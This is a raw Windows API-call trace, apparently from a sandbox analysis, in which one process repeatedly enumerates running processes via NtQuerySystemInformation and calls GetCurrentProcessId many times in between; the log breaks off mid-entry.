[0198.372] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1d098) returned 0x0 [0198.375] GetCurrentProcessId () returned 0xbf4 [0198.375] GetCurrentProcessId () returned 0xbf4 [0198.375] GetCurrentProcessId () returned 0xbf4 [0198.375] GetCurrentProcessId () returned 0xbf4 [0198.375] GetCurrentProcessId () returned 0xbf4 [0198.375] GetCurrentProcessId () returned 0xbf4 [0198.375] GetCurrentProcessId () returned 0xbf4 [0198.375] GetCurrentProcessId () returned 0xbf4 [0198.375] GetCurrentProcessId () returned 0xbf4 [0198.375] GetCurrentProcessId () returned 0xbf4 [0198.375] GetCurrentProcessId () returned 0xbf4 [0198.375] GetCurrentProcessId () returned 0xbf4 [0198.375] GetCurrentProcessId () returned 0xbf4 [0198.375] GetCurrentProcessId () returned 0xbf4 [0198.375] GetCurrentProcessId () returned 0xbf4 [0198.375] GetCurrentProcessId () returned 0xbf4 [0198.375] GetCurrentProcessId () returned 0xbf4 [0198.375] GetCurrentProcessId () returned 0xbf4 [0198.375] GetCurrentProcessId () returned 0xbf4 [0198.376] GetCurrentProcessId () returned 0xbf4 [0198.376] GetCurrentProcessId () returned 0xbf4 [0198.376] GetCurrentProcessId () returned 0xbf4 [0198.376] GetCurrentProcessId () returned 0xbf4 [0198.376] GetCurrentProcessId () returned 0xbf4 [0198.376] GetCurrentProcessId () returned 0xbf4 [0198.376] GetCurrentProcessId () returned 0xbf4 [0198.376] GetCurrentProcessId () returned 0xbf4 [0198.376] GetCurrentProcessId () returned 0xbf4 [0198.376] GetCurrentProcessId () returned 0xbf4 [0198.376] GetCurrentProcessId () returned 0xbf4 [0198.376] GetCurrentProcessId () returned 0xbf4 [0198.376] GetCurrentProcessId () returned 0xbf4 [0198.376] GetCurrentProcessId () returned 0xbf4 [0198.376] GetCurrentProcessId () returned 0xbf4 [0198.376] GetCurrentProcessId () returned 0xbf4 [0198.376] GetCurrentProcessId () returned 0xbf4 [0198.376] GetCurrentProcessId () returned 0xbf4 [0198.376] GetCurrentProcessId () returned 0xbf4 [0198.376] GetCurrentProcessId () returned 0xbf4 [0198.376] GetCurrentProcessId () returned 0xbf4 [0198.376] GetCurrentProcessId () returned 0xbf4 [0198.376] GetCurrentProcessId () returned 0xbf4 [0198.376] GetCurrentProcessId () returned 0xbf4 [0198.376] GetCurrentProcessId () returned 0xbf4 [0198.376] GetCurrentProcessId () returned 0xbf4 [0198.376] GetCurrentProcessId () returned 0xbf4 [0198.376] GetCurrentProcessId () returned 0xbf4 [0198.376] GetCurrentProcessId () returned 0xbf4 [0198.377] GetCurrentProcessId () returned 0xbf4 [0198.377] GetCurrentProcessId () returned 0xbf4 [0198.377] GetCurrentProcessId () returned 0xbf4 [0198.377] GetCurrentProcessId () returned 0xbf4 [0198.377] GetCurrentProcessId () returned 0xbf4 [0198.377] GetCurrentProcessId () returned 0xbf4 [0198.377] GetCurrentProcessId () returned 0xbf4 [0198.377] GetCurrentProcessId () returned 0xbf4 [0198.377] GetCurrentProcessId () returned 0xbf4 [0198.377] GetCurrentProcessId () returned 0xbf4 [0198.377] GetCurrentProcessId () returned 0xbf4 [0198.377] GetCurrentProcessId () returned 0xbf4 [0198.377] GetCurrentProcessId () returned 0xbf4 [0198.377] GetCurrentProcessId () returned 0xbf4 [0198.377] GetCurrentProcessId () returned 0xbf4 [0198.377] GetCurrentProcessId () returned 0xbf4 [0198.377] GetCurrentProcessId () returned 0xbf4 [0198.377] GetCurrentProcessId () returned 0xbf4 [0198.377] GetCurrentProcessId () returned 0xbf4 [0198.377] GetCurrentProcessId () returned 0xbf4 [0198.377] GetCurrentProcessId () returned 0xbf4 [0198.377] GetCurrentProcessId () returned 0xbf4 [0198.377] GetCurrentProcessId () returned 0xbf4 [0198.377] GetCurrentProcessId () returned 0xbf4 [0198.377] GetCurrentProcessId () returned 0xbf4 [0198.377] GetCurrentProcessId () returned 0xbf4 [0198.377] GetCurrentProcessId () returned 0xbf4 [0198.377] GetCurrentProcessId () returned 0xbf4 [0198.378] GetCurrentProcessId () returned 0xbf4 [0198.378] GetCurrentProcessId () returned 0xbf4 [0198.378] GetCurrentProcessId () returned 0xbf4 [0198.378] GetCurrentProcessId () returned 0xbf4 [0198.378] GetCurrentProcessId () returned 0xbf4 [0198.378] GetCurrentProcessId () returned 0xbf4 [0198.378] GetCurrentProcessId () returned 0xbf4 [0198.378] GetCurrentProcessId () returned 0xbf4 [0198.378] GetCurrentProcessId () returned 0xbf4 [0198.378] GetCurrentProcessId () returned 0xbf4 [0198.378] GetCurrentProcessId () returned 0xbf4 [0198.378] GetCurrentProcessId () returned 0xbf4 [0198.378] GetCurrentProcessId () returned 0xbf4 [0198.378] GetCurrentProcessId () returned 0xbf4 [0198.378] GetCurrentProcessId () returned 0xbf4 [0198.378] GetCurrentProcessId () returned 0xbf4 [0198.378] GetCurrentProcessId () returned 0xbf4 [0198.378] GetCurrentProcessId () returned 0xbf4 [0198.378] GetCurrentProcessId () returned 0xbf4 [0198.378] GetCurrentProcessId () returned 0xbf4 [0198.378] GetCurrentProcessId () returned 0xbf4 [0198.378] GetCurrentProcessId () returned 0xbf4 [0198.378] GetCurrentProcessId () returned 0xbf4 [0198.378] GetCurrentProcessId () returned 0xbf4 [0198.378] GetCurrentProcessId () returned 0xbf4 [0198.378] GetCurrentProcessId () returned 0xbf4 [0198.378] GetCurrentProcessId () returned 0xbf4 [0198.378] GetCurrentProcessId () returned 0xbf4 [0198.379] GetCurrentProcessId () returned 0xbf4 [0198.379] GetCurrentProcessId () returned 0xbf4 [0198.379] GetCurrentProcessId () returned 0xbf4 [0198.379] GetCurrentProcessId () returned 0xbf4 [0199.076] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1d0e8) returned 0x0 [0199.079] GetCurrentProcessId () returned 0xbf4 [0199.080] GetCurrentProcessId () returned 0xbf4 [0199.080] GetCurrentProcessId () returned 0xbf4 [0199.080] GetCurrentProcessId () returned 0xbf4 [0199.080] GetCurrentProcessId () returned 0xbf4 [0199.080] GetCurrentProcessId () returned 0xbf4 [0199.080] GetCurrentProcessId () returned 0xbf4 [0199.080] GetCurrentProcessId () returned 0xbf4 [0199.080] GetCurrentProcessId () returned 0xbf4 [0199.080] GetCurrentProcessId () returned 0xbf4 [0199.080] GetCurrentProcessId () returned 0xbf4 [0199.080] GetCurrentProcessId () returned 0xbf4 [0199.080] GetCurrentProcessId () returned 0xbf4 [0199.080] GetCurrentProcessId () returned 0xbf4 [0199.080] GetCurrentProcessId () returned 0xbf4 [0199.080] GetCurrentProcessId () returned 0xbf4 [0199.080] GetCurrentProcessId () returned 0xbf4 [0199.080] GetCurrentProcessId () returned 0xbf4 [0199.080] GetCurrentProcessId () returned 0xbf4 [0199.080] GetCurrentProcessId () returned 0xbf4 [0199.080] GetCurrentProcessId () returned 0xbf4 [0199.080] GetCurrentProcessId () returned 0xbf4 [0199.080] GetCurrentProcessId () returned 0xbf4 [0199.080] GetCurrentProcessId () returned 0xbf4 [0199.080] GetCurrentProcessId () returned 0xbf4 [0199.080] GetCurrentProcessId () returned 0xbf4 [0199.080] GetCurrentProcessId () returned 0xbf4 [0199.081] GetCurrentProcessId () returned 0xbf4 [0199.081] GetCurrentProcessId () returned 0xbf4 [0199.081] GetCurrentProcessId () returned 0xbf4 [0199.081] GetCurrentProcessId () returned 0xbf4 [0199.081] GetCurrentProcessId () returned 0xbf4 [0199.081] GetCurrentProcessId () returned 0xbf4 [0199.081] GetCurrentProcessId () returned 0xbf4 [0199.081] GetCurrentProcessId () returned 0xbf4 [0199.081] GetCurrentProcessId () returned 0xbf4 [0199.081] GetCurrentProcessId () returned 0xbf4 [0199.081] GetCurrentProcessId () returned 0xbf4 [0199.081] GetCurrentProcessId () returned 0xbf4 [0199.081] GetCurrentProcessId () returned 0xbf4 [0199.081] GetCurrentProcessId () returned 0xbf4 [0199.081] GetCurrentProcessId () returned 0xbf4 [0199.081] GetCurrentProcessId () returned 0xbf4 [0199.081] GetCurrentProcessId () returned 0xbf4 [0199.081] GetCurrentProcessId () returned 0xbf4 [0199.081] GetCurrentProcessId () returned 0xbf4 [0199.081] GetCurrentProcessId () returned 0xbf4 [0199.081] GetCurrentProcessId () returned 0xbf4 [0199.081] GetCurrentProcessId () returned 0xbf4 [0199.081] GetCurrentProcessId () returned 0xbf4 [0199.081] GetCurrentProcessId () returned 0xbf4 [0199.081] GetCurrentProcessId () returned 0xbf4 [0199.081] GetCurrentProcessId () returned 0xbf4 [0199.081] GetCurrentProcessId () returned 0xbf4 [0199.082] GetCurrentProcessId () returned 0xbf4 [0199.082] GetCurrentProcessId () returned 0xbf4 [0199.082] GetCurrentProcessId () returned 0xbf4 [0199.082] GetCurrentProcessId () returned 0xbf4 [0199.082] GetCurrentProcessId () returned 0xbf4 [0199.082] GetCurrentProcessId () returned 0xbf4 [0199.082] GetCurrentProcessId () returned 0xbf4 [0199.082] GetCurrentProcessId () returned 0xbf4 [0199.082] GetCurrentProcessId () returned 0xbf4 [0199.082] GetCurrentProcessId () returned 0xbf4 [0199.082] GetCurrentProcessId () returned 0xbf4 [0199.082] GetCurrentProcessId () returned 0xbf4 [0199.082] GetCurrentProcessId () returned 0xbf4 [0199.082] GetCurrentProcessId () returned 0xbf4 [0199.082] GetCurrentProcessId () returned 0xbf4 [0199.082] GetCurrentProcessId () returned 0xbf4 [0199.082] GetCurrentProcessId () returned 0xbf4 [0199.082] GetCurrentProcessId () returned 0xbf4 [0199.082] GetCurrentProcessId () returned 0xbf4 [0199.082] GetCurrentProcessId () returned 0xbf4 [0199.082] GetCurrentProcessId () returned 0xbf4 [0199.082] GetCurrentProcessId () returned 0xbf4 [0199.082] GetCurrentProcessId () returned 0xbf4 [0199.082] GetCurrentProcessId () returned 0xbf4 [0199.082] GetCurrentProcessId () returned 0xbf4 [0199.082] GetCurrentProcessId () returned 0xbf4 [0199.082] GetCurrentProcessId () returned 0xbf4 [0199.082] GetCurrentProcessId () returned 0xbf4 [0199.083] GetCurrentProcessId () returned 0xbf4 [0199.083] GetCurrentProcessId () returned 0xbf4 [0199.083] GetCurrentProcessId () returned 0xbf4 [0199.083] GetCurrentProcessId () returned 0xbf4 [0199.083] GetCurrentProcessId () returned 0xbf4 [0199.083] GetCurrentProcessId () returned 0xbf4 [0199.083] GetCurrentProcessId () returned 0xbf4 [0199.083] GetCurrentProcessId () returned 0xbf4 [0199.083] GetCurrentProcessId () returned 0xbf4 [0199.083] GetCurrentProcessId () returned 0xbf4 [0199.083] GetCurrentProcessId () returned 0xbf4 [0199.083] GetCurrentProcessId () returned 0xbf4 [0199.083] GetCurrentProcessId () returned 0xbf4 [0199.083] GetCurrentProcessId () returned 0xbf4 [0199.083] GetCurrentProcessId () returned 0xbf4 [0199.083] GetCurrentProcessId () returned 0xbf4 [0199.083] GetCurrentProcessId () returned 0xbf4 [0199.083] GetCurrentProcessId () returned 0xbf4 [0199.083] GetCurrentProcessId () returned 0xbf4 [0199.083] GetCurrentProcessId () returned 0xbf4 [0199.083] GetCurrentProcessId () returned 0xbf4 [0199.083] GetCurrentProcessId () returned 0xbf4 [0199.083] GetCurrentProcessId () returned 0xbf4 [0199.083] GetCurrentProcessId () returned 0xbf4 [0199.083] GetCurrentProcessId () returned 0xbf4 [0199.083] GetCurrentProcessId () returned 0xbf4 [0199.776] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1d098) returned 0x0 [0199.777] GetCurrentProcessId () returned 0xbf4 [0199.777] GetCurrentProcessId () returned 0xbf4 [0199.778] GetCurrentProcessId () returned 0xbf4 [0199.778] GetCurrentProcessId () returned 0xbf4 [0199.778] GetCurrentProcessId () returned 0xbf4 [0199.778] GetCurrentProcessId () returned 0xbf4 [0199.778] GetCurrentProcessId () returned 0xbf4 [0199.778] GetCurrentProcessId () returned 0xbf4 [0199.778] GetCurrentProcessId () returned 0xbf4 [0199.778] GetCurrentProcessId () returned 0xbf4 [0199.778] GetCurrentProcessId () returned 0xbf4 [0199.778] GetCurrentProcessId () returned 0xbf4 [0199.778] GetCurrentProcessId () returned 0xbf4 [0199.778] GetCurrentProcessId () returned 0xbf4 [0199.778] GetCurrentProcessId () returned 0xbf4 [0199.778] GetCurrentProcessId () returned 0xbf4 [0199.778] GetCurrentProcessId () returned 0xbf4 [0199.778] GetCurrentProcessId () returned 0xbf4 [0199.778] GetCurrentProcessId () returned 0xbf4 [0199.778] GetCurrentProcessId () returned 0xbf4 [0199.778] GetCurrentProcessId () returned 0xbf4 [0199.778] GetCurrentProcessId () returned 0xbf4 [0199.778] GetCurrentProcessId () returned 0xbf4 [0199.778] GetCurrentProcessId () returned 0xbf4 [0199.778] GetCurrentProcessId () returned 0xbf4 [0199.778] GetCurrentProcessId () returned 0xbf4 [0199.778] GetCurrentProcessId () returned 0xbf4 [0199.778] GetCurrentProcessId () returned 0xbf4 [0199.778] GetCurrentProcessId () returned 0xbf4 [0199.778] GetCurrentProcessId () returned 0xbf4 [0199.778] GetCurrentProcessId () returned 0xbf4 [0199.778] GetCurrentProcessId () returned 0xbf4 [0199.778] GetCurrentProcessId () returned 0xbf4 [0199.778] GetCurrentProcessId () returned 0xbf4 [0199.778] GetCurrentProcessId () returned 0xbf4 [0199.778] GetCurrentProcessId () returned 0xbf4 [0199.778] GetCurrentProcessId () returned 0xbf4 [0199.779] GetCurrentProcessId () returned 0xbf4 [0199.779] GetCurrentProcessId () returned 0xbf4 [0199.779] GetCurrentProcessId () returned 0xbf4 [0199.779] GetCurrentProcessId () returned 0xbf4 [0199.779] GetCurrentProcessId () returned 0xbf4 [0199.779] GetCurrentProcessId () returned 0xbf4 [0199.779] GetCurrentProcessId () returned 0xbf4 [0199.779] GetCurrentProcessId () returned 0xbf4 [0199.779] GetCurrentProcessId () returned 0xbf4 [0199.779] GetCurrentProcessId () returned 0xbf4 [0199.779] GetCurrentProcessId () returned 0xbf4 [0199.779] GetCurrentProcessId () returned 0xbf4 [0199.779] GetCurrentProcessId () returned 0xbf4 [0199.779] GetCurrentProcessId () returned 0xbf4 [0199.779] GetCurrentProcessId () returned 0xbf4 [0199.779] GetCurrentProcessId () returned 0xbf4 [0199.779] GetCurrentProcessId () returned 0xbf4 [0199.779] GetCurrentProcessId () returned 0xbf4 [0199.779] GetCurrentProcessId () returned 0xbf4 [0199.779] GetCurrentProcessId () returned 0xbf4 [0199.779] GetCurrentProcessId () returned 0xbf4 [0199.779] GetCurrentProcessId () returned 0xbf4 [0199.779] GetCurrentProcessId () returned 0xbf4 [0199.779] GetCurrentProcessId () returned 0xbf4 [0199.779] GetCurrentProcessId () returned 0xbf4 [0199.779] GetCurrentProcessId () returned 0xbf4 [0199.779] GetCurrentProcessId () returned 0xbf4 [0199.779] GetCurrentProcessId () returned 0xbf4 [0199.779] GetCurrentProcessId () returned 0xbf4 [0199.779] GetCurrentProcessId () returned 0xbf4 [0199.779] GetCurrentProcessId () returned 0xbf4 [0199.779] GetCurrentProcessId () returned 0xbf4 [0199.779] GetCurrentProcessId () returned 0xbf4 [0199.779] GetCurrentProcessId () returned 0xbf4 [0199.780] GetCurrentProcessId () returned 0xbf4 [0199.780] GetCurrentProcessId () returned 0xbf4 [0199.780] GetCurrentProcessId () returned 0xbf4 [0199.780] GetCurrentProcessId () returned 0xbf4 [0199.780] GetCurrentProcessId () returned 0xbf4 [0199.780] GetCurrentProcessId () returned 0xbf4 [0199.780] GetCurrentProcessId () returned 0xbf4 [0199.780] GetCurrentProcessId () returned 0xbf4 [0199.780] GetCurrentProcessId () returned 0xbf4 [0199.780] GetCurrentProcessId () returned 0xbf4 [0199.780] GetCurrentProcessId () returned 0xbf4 [0199.780] GetCurrentProcessId () returned 0xbf4 [0199.780] GetCurrentProcessId () returned 0xbf4 [0199.780] GetCurrentProcessId () returned 0xbf4 [0199.780] GetCurrentProcessId () returned 0xbf4 [0199.780] GetCurrentProcessId () returned 0xbf4 [0199.780] GetCurrentProcessId () returned 0xbf4 [0199.780] GetCurrentProcessId () returned 0xbf4 [0199.780] GetCurrentProcessId () returned 0xbf4 [0199.780] GetCurrentProcessId () returned 0xbf4 [0199.780] GetCurrentProcessId () returned 0xbf4 [0199.780] GetCurrentProcessId () returned 0xbf4 [0199.780] GetCurrentProcessId () returned 0xbf4 [0199.780] GetCurrentProcessId () returned 0xbf4 [0199.780] GetCurrentProcessId () returned 0xbf4 [0199.780] GetCurrentProcessId () returned 0xbf4 [0199.780] GetCurrentProcessId () returned 0xbf4 [0199.780] GetCurrentProcessId () returned 0xbf4 [0199.780] GetCurrentProcessId () returned 0xbf4 [0199.780] GetCurrentProcessId () returned 0xbf4 [0199.780] GetCurrentProcessId () returned 0xbf4 [0199.780] GetCurrentProcessId () returned 0xbf4 [0199.780] GetCurrentProcessId () returned 0xbf4 [0199.781] GetCurrentProcessId () returned 0xbf4 [0199.781] GetCurrentProcessId () returned 0xbf4 [0199.781] GetCurrentProcessId () returned 0xbf4 [0199.781] GetCurrentProcessId () returned 0xbf4 [0200.471] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1d098) returned 0x0 [0200.506] GetCurrentProcessId () returned 0xbf4 [0200.506] GetCurrentProcessId () returned 0xbf4 [0200.506] GetCurrentProcessId () returned 0xbf4 [0200.506] GetCurrentProcessId () returned 0xbf4 [0200.506] GetCurrentProcessId () returned 0xbf4 [0200.506] GetCurrentProcessId () returned 0xbf4 [0200.506] GetCurrentProcessId () returned 0xbf4 [0200.506] GetCurrentProcessId () returned 0xbf4 [0200.506] GetCurrentProcessId () returned 0xbf4 [0200.506] GetCurrentProcessId () returned 0xbf4 [0200.506] GetCurrentProcessId () returned 0xbf4 [0200.506] GetCurrentProcessId () returned 0xbf4 [0200.506] GetCurrentProcessId () returned 0xbf4 [0200.506] GetCurrentProcessId () returned 0xbf4 [0200.506] GetCurrentProcessId () returned 0xbf4 [0200.506] GetCurrentProcessId () returned 0xbf4 [0200.507] GetCurrentProcessId () returned 0xbf4 [0200.507] GetCurrentProcessId () returned 0xbf4 [0200.507] GetCurrentProcessId () returned 0xbf4 [0200.507] GetCurrentProcessId () returned 0xbf4 [0200.507] GetCurrentProcessId () returned 0xbf4 [0200.507] GetCurrentProcessId () returned 0xbf4 [0200.507] GetCurrentProcessId () returned 0xbf4 [0200.507] GetCurrentProcessId () returned 0xbf4 [0200.507] GetCurrentProcessId () returned 0xbf4 [0200.507] GetCurrentProcessId () returned 0xbf4 [0200.507] GetCurrentProcessId () returned 0xbf4 [0200.507] GetCurrentProcessId () returned 0xbf4 [0200.507] GetCurrentProcessId () returned 0xbf4 [0200.507] GetCurrentProcessId () returned 0xbf4 [0200.507] GetCurrentProcessId () returned 0xbf4 [0200.507] GetCurrentProcessId () returned 0xbf4 [0200.507] GetCurrentProcessId () returned 0xbf4 [0200.507] GetCurrentProcessId () returned 0xbf4 [0200.507] GetCurrentProcessId () returned 0xbf4 [0200.507] GetCurrentProcessId () returned 0xbf4 [0200.507] GetCurrentProcessId () returned 0xbf4 [0200.507] GetCurrentProcessId () returned 0xbf4 [0200.507] GetCurrentProcessId () returned 0xbf4 [0200.507] GetCurrentProcessId () returned 0xbf4 [0200.507] GetCurrentProcessId () returned 0xbf4 [0200.507] GetCurrentProcessId () returned 0xbf4 [0200.507] GetCurrentProcessId () returned 0xbf4 [0200.507] GetCurrentProcessId () returned 0xbf4 [0200.507] GetCurrentProcessId () returned 0xbf4 [0200.507] GetCurrentProcessId () returned 0xbf4 [0200.507] GetCurrentProcessId () returned 0xbf4 [0200.507] GetCurrentProcessId () returned 0xbf4 [0200.507] GetCurrentProcessId () returned 0xbf4 [0200.508] GetCurrentProcessId () returned 0xbf4 [0200.508] GetCurrentProcessId () returned 0xbf4 [0200.508] GetCurrentProcessId () returned 0xbf4 [0200.508] GetCurrentProcessId () returned 0xbf4 [0200.508] GetCurrentProcessId () returned 0xbf4 [0200.508] GetCurrentProcessId () returned 0xbf4 [0200.508] GetCurrentProcessId () returned 0xbf4 [0200.508] GetCurrentProcessId () returned 0xbf4 [0200.508] GetCurrentProcessId () returned 0xbf4 [0200.508] GetCurrentProcessId () returned 0xbf4 [0200.508] GetCurrentProcessId () returned 0xbf4 [0200.508] GetCurrentProcessId () returned 0xbf4 [0200.508] GetCurrentProcessId () returned 0xbf4 [0200.508] GetCurrentProcessId () returned 0xbf4 [0200.508] GetCurrentProcessId () returned 0xbf4 [0200.508] GetCurrentProcessId () returned 0xbf4 [0200.508] GetCurrentProcessId () returned 0xbf4 [0200.508] GetCurrentProcessId () returned 0xbf4 [0200.508] GetCurrentProcessId () returned 0xbf4 [0200.508] GetCurrentProcessId () returned 0xbf4 [0200.508] GetCurrentProcessId () returned 0xbf4 [0200.508] GetCurrentProcessId () returned 0xbf4 [0200.508] GetCurrentProcessId () returned 0xbf4 [0200.508] GetCurrentProcessId () returned 0xbf4 [0200.508] GetCurrentProcessId () returned 0xbf4 [0200.508] GetCurrentProcessId () returned 0xbf4 [0200.508] GetCurrentProcessId () returned 0xbf4 [0200.508] GetCurrentProcessId () returned 0xbf4 [0200.508] GetCurrentProcessId () returned 0xbf4 [0200.508] GetCurrentProcessId () returned 0xbf4 [0200.508] GetCurrentProcessId () returned 0xbf4 [0200.508] GetCurrentProcessId () returned 0xbf4 [0200.508] GetCurrentProcessId () returned 0xbf4 [0200.508] GetCurrentProcessId () returned 0xbf4 [0200.509] GetCurrentProcessId () returned 0xbf4 [0200.509] GetCurrentProcessId () returned 0xbf4 [0200.509] GetCurrentProcessId () returned 0xbf4 [0200.509] GetCurrentProcessId () returned 0xbf4 [0200.509] GetCurrentProcessId () returned 0xbf4 [0200.509] GetCurrentProcessId () returned 0xbf4 [0200.509] GetCurrentProcessId () returned 0xbf4 [0200.509] GetCurrentProcessId () returned 0xbf4 [0200.509] GetCurrentProcessId () returned 0xbf4 [0200.509] GetCurrentProcessId () returned 0xbf4 [0200.509] GetCurrentProcessId () returned 0xbf4 [0200.509] GetCurrentProcessId () returned 0xbf4 [0200.509] GetCurrentProcessId () returned 0xbf4 [0200.509] GetCurrentProcessId () returned 0xbf4 [0200.509] GetCurrentProcessId () returned 0xbf4 [0200.509] GetCurrentProcessId () returned 0xbf4 [0200.509] GetCurrentProcessId () returned 0xbf4 [0200.509] GetCurrentProcessId () returned 0xbf4 [0200.509] GetCurrentProcessId () returned 0xbf4 [0200.509] GetCurrentProcessId () returned 0xbf4 [0200.509] GetCurrentProcessId () returned 0xbf4 [0200.509] GetCurrentProcessId () returned 0xbf4 [0200.509] GetCurrentProcessId () returned 0xbf4 [0200.509] GetCurrentProcessId () returned 0xbf4 [0200.509] GetCurrentProcessId () returned 0xbf4 [0201.314] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1d098) returned 0x0 [0201.317] GetCurrentProcessId () returned 0xbf4 [0201.317] GetCurrentProcessId () returned 0xbf4 [0201.317] GetCurrentProcessId () returned 0xbf4 [0201.318] GetCurrentProcessId () returned 0xbf4 [0201.318] GetCurrentProcessId () returned 0xbf4 [0201.318] GetCurrentProcessId () returned 0xbf4 [0201.318] GetCurrentProcessId () returned 0xbf4 [0201.318] GetCurrentProcessId () returned 0xbf4 [0201.318] GetCurrentProcessId () returned 0xbf4 [0201.318] GetCurrentProcessId () returned 0xbf4 [0201.318] GetCurrentProcessId () returned 0xbf4 [0201.318] GetCurrentProcessId () returned 0xbf4 [0201.318] GetCurrentProcessId () returned 0xbf4 [0201.318] GetCurrentProcessId () returned 0xbf4 [0201.318] GetCurrentProcessId () returned 0xbf4 [0201.318] GetCurrentProcessId () returned 0xbf4 [0201.318] GetCurrentProcessId () returned 0xbf4 [0201.318] GetCurrentProcessId () returned 0xbf4 [0201.318] GetCurrentProcessId () returned 0xbf4 [0201.318] GetCurrentProcessId () returned 0xbf4 [0201.318] GetCurrentProcessId () returned 0xbf4 [0201.318] GetCurrentProcessId () returned 0xbf4 [0201.318] GetCurrentProcessId () returned 0xbf4 [0201.318] GetCurrentProcessId () returned 0xbf4 [0201.318] GetCurrentProcessId () returned 0xbf4 [0201.318] GetCurrentProcessId () returned 0xbf4 [0201.318] GetCurrentProcessId () returned 0xbf4 [0201.318] GetCurrentProcessId () returned 0xbf4 [0201.318] GetCurrentProcessId () returned 0xbf4 [0201.318] GetCurrentProcessId () returned 0xbf4 [0201.318] GetCurrentProcessId () returned 0xbf4 [0201.318] GetCurrentProcessId () returned 0xbf4 [0201.319] GetCurrentProcessId () returned 0xbf4 [0201.319] GetCurrentProcessId () returned 0xbf4 [0201.319] GetCurrentProcessId () returned 0xbf4 [0201.319] GetCurrentProcessId () returned 0xbf4 [0201.319] GetCurrentProcessId () returned 0xbf4 [0201.319] GetCurrentProcessId () returned 0xbf4 [0201.319] GetCurrentProcessId () returned 0xbf4 [0201.319] GetCurrentProcessId () returned 0xbf4 [0201.319] GetCurrentProcessId () returned 0xbf4 [0201.319] GetCurrentProcessId () returned 0xbf4 [0201.319] GetCurrentProcessId () returned 0xbf4 [0201.319] GetCurrentProcessId () returned 0xbf4 [0201.319] GetCurrentProcessId () returned 0xbf4 [0201.319] GetCurrentProcessId () returned 0xbf4 [0201.319] GetCurrentProcessId () returned 0xbf4 [0201.319] GetCurrentProcessId () returned 0xbf4 [0201.319] GetCurrentProcessId () returned 0xbf4 [0201.319] GetCurrentProcessId () returned 0xbf4 [0201.319] GetCurrentProcessId () returned 0xbf4 [0201.319] GetCurrentProcessId () returned 0xbf4 [0201.319] GetCurrentProcessId () returned 0xbf4 [0201.319] GetCurrentProcessId () returned 0xbf4 [0201.319] GetCurrentProcessId () returned 0xbf4 [0201.319] GetCurrentProcessId () returned 0xbf4 [0201.319] GetCurrentProcessId () returned 0xbf4 [0201.319] GetCurrentProcessId () returned 0xbf4 [0201.319] GetCurrentProcessId () returned 0xbf4 [0201.319] GetCurrentProcessId () returned 0xbf4 [0201.319] GetCurrentProcessId () returned 0xbf4 [0201.320] GetCurrentProcessId () returned 0xbf4 [0201.320] GetCurrentProcessId () returned 0xbf4 [0201.320] GetCurrentProcessId () returned 0xbf4 [0201.320] GetCurrentProcessId () returned 0xbf4 [0201.320] GetCurrentProcessId () returned 0xbf4 [0201.320] GetCurrentProcessId () returned 0xbf4 [0201.320] GetCurrentProcessId () returned 0xbf4 [0201.320] GetCurrentProcessId () returned 0xbf4 [0201.320] GetCurrentProcessId () returned 0xbf4 [0201.320] GetCurrentProcessId () returned 0xbf4 [0201.320] GetCurrentProcessId () returned 0xbf4 [0201.320] GetCurrentProcessId () returned 0xbf4 [0201.320] GetCurrentProcessId () returned 0xbf4 [0201.320] GetCurrentProcessId () returned 0xbf4 [0201.320] GetCurrentProcessId () returned 0xbf4 [0201.320] GetCurrentProcessId () returned 0xbf4 [0201.320] GetCurrentProcessId () returned 0xbf4 [0201.320] GetCurrentProcessId () returned 0xbf4 [0201.320] GetCurrentProcessId () returned 0xbf4 [0201.320] GetCurrentProcessId () returned 0xbf4 [0201.320] GetCurrentProcessId () returned 0xbf4 [0201.320] GetCurrentProcessId () returned 0xbf4 [0201.320] GetCurrentProcessId () returned 0xbf4 [0201.320] GetCurrentProcessId () returned 0xbf4 [0201.320] GetCurrentProcessId () returned 0xbf4 [0201.320] GetCurrentProcessId () returned 0xbf4 [0201.320] GetCurrentProcessId () returned 0xbf4 [0201.320] GetCurrentProcessId () returned 0xbf4 [0201.321] GetCurrentProcessId () returned 0xbf4 [0201.321] GetCurrentProcessId () returned 0xbf4 [0201.321] GetCurrentProcessId () returned 0xbf4 [0201.321] GetCurrentProcessId () returned 0xbf4 [0201.321] GetCurrentProcessId () returned 0xbf4 [0201.321] GetCurrentProcessId () returned 0xbf4 [0201.321] GetCurrentProcessId () returned 0xbf4 [0201.321] GetCurrentProcessId () returned 0xbf4 [0201.321] GetCurrentProcessId () returned 0xbf4 [0201.321] GetCurrentProcessId () returned 0xbf4 [0201.321] GetCurrentProcessId () returned 0xbf4 [0201.321] GetCurrentProcessId () returned 0xbf4 [0201.321] GetCurrentProcessId () returned 0xbf4 [0201.321] GetCurrentProcessId () returned 0xbf4 [0201.321] GetCurrentProcessId () returned 0xbf4 [0201.321] GetCurrentProcessId () returned 0xbf4 [0201.321] GetCurrentProcessId () returned 0xbf4 [0201.321] GetCurrentProcessId () returned 0xbf4 [0201.321] GetCurrentProcessId () returned 0xbf4 [0202.039] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1d098) returned 0x0 [0202.071] GetCurrentProcessId () returned 0xbf4 [0202.071] GetCurrentProcessId () returned 0xbf4 [0202.071] GetCurrentProcessId () returned 0xbf4 [0202.071] GetCurrentProcessId () returned 0xbf4 [0202.071] GetCurrentProcessId () returned 0xbf4 [0202.071] GetCurrentProcessId () returned 0xbf4 [0202.071] GetCurrentProcessId () returned 0xbf4 [0202.071] GetCurrentProcessId () returned 0xbf4 [0202.071] GetCurrentProcessId () returned 0xbf4 [0202.071] 